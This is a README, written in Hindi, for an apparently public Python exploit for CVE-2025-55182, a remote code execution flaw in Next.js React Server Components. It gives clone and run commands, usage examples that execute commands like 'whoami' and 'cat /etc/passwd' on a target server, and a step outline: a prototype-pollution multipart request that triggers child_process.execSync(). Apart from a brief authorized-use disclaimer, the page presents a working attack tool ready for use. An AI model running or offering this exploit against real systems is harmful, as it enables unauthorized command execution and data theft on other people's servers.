React2Shell शोषण (CVE-2025-55182)

Next.js React सर्वर घटकों की RCE कमजोरी के लिए पायथन शोषण, HTTP/HTTPS समर्थन के साथ।

🚀 त्वरित आरंभ

# Clone & run
git clone https://github.com/BrianLopezM99/react2shell-CVE-2025-55182.git
cd react2shell-CVE-2025-55182
python3 exploit_react2shell.py <URL> "<command>"

📖 उपयोग

# HTTP
python3 exploit_react2shell.py http://target.com:3000 "id"
python3 exploit_react2shell.py 192.168.1.100:8080 "ls -la"

# HTTPS
python3 exploit_react2shell.py https://target.com "whoami"
python3 exploit_react2shell.py https://target.com:8443 "cat /etc/passwd"

✨ विशेषताएँ

• ✅ HTTP और HTTPS समर्थन
• ✅ स्मार्ट URL पार्सिंग (स्वचालित प्रोटोकॉल पहचान)
• ✅ बेहतर UX के लिए एनिमेटेड लोडर
• ✅ रॉ सॉकेट कार्यान्वयन (कोई निर्भरता नहीं)
• ✅ स्वचालित आउटपुट निष्कर्षण
• ✅ सुरक्षित कनेक्शन के लिए SSL/TLS समर्थन

⚠️ कानूनी सूचना

केवल अधिकृत सुरक्षा परीक्षण के लिए।
केवल उन सिस्टम पर उपयोग करें जिनके आप मालिक हैं या जिनके परीक्षण की स्पष्ट अनुमति है। अवैध गतिविधियों के लिए कभी उपयोग न करें।

📋 आवश्यकताएँ

• Python 3.6+
• कोई बाहरी निर्भरता नहीं

🔧 यह कैसे काम करता है

1. लक्ष्य URL को पार्स करता है (http://, https://, या बिना स्कीम का समर्थन)
2. रॉ सॉकेट कनेक्शन स्थापित करता है (HTTPS के लिए SSL के साथ)
3. प्रोटोटाइप प्रदूषण पेलोड के साथ तैयार किया गया multipart/form-data अनुरोध भेजता है
4. child_process.execSync() के माध्यम से RCE ट्रिगर करता है
5. सर्वर प्रतिक्रिया से कमांड आउटपुट निकालता है

🐛 समस्या निवारण

• कनेक्शन अस्वीकार: जांचें कि सर्वर चल रहा है या नहीं
• SSL त्रुटियाँ: लक्ष्य में प्रमाणपत्र संबंधी समस्याएँ हो सकती हैं
• समय समाप्त: सर्वर धीमा हो सकता है – टाइमआउट बढ़ाएँ
• संख्यात्मक आउटपुट: कमांड आउटपुट काटा जा सकता है

📄 लाइसेंस

MIT लाइसेंस – LICENSE फ़ाइल देखें

अस्वीकरण: केवल शैक्षिक उद्देश्यों के लिए। हमेशा उचित प्राधिकरण प्राप्त करें।

अंतिम अद्यतन: 8 फरवरी, 2025
संस्करण: 2.0.0
अनुरक्षक: BrianLopezM99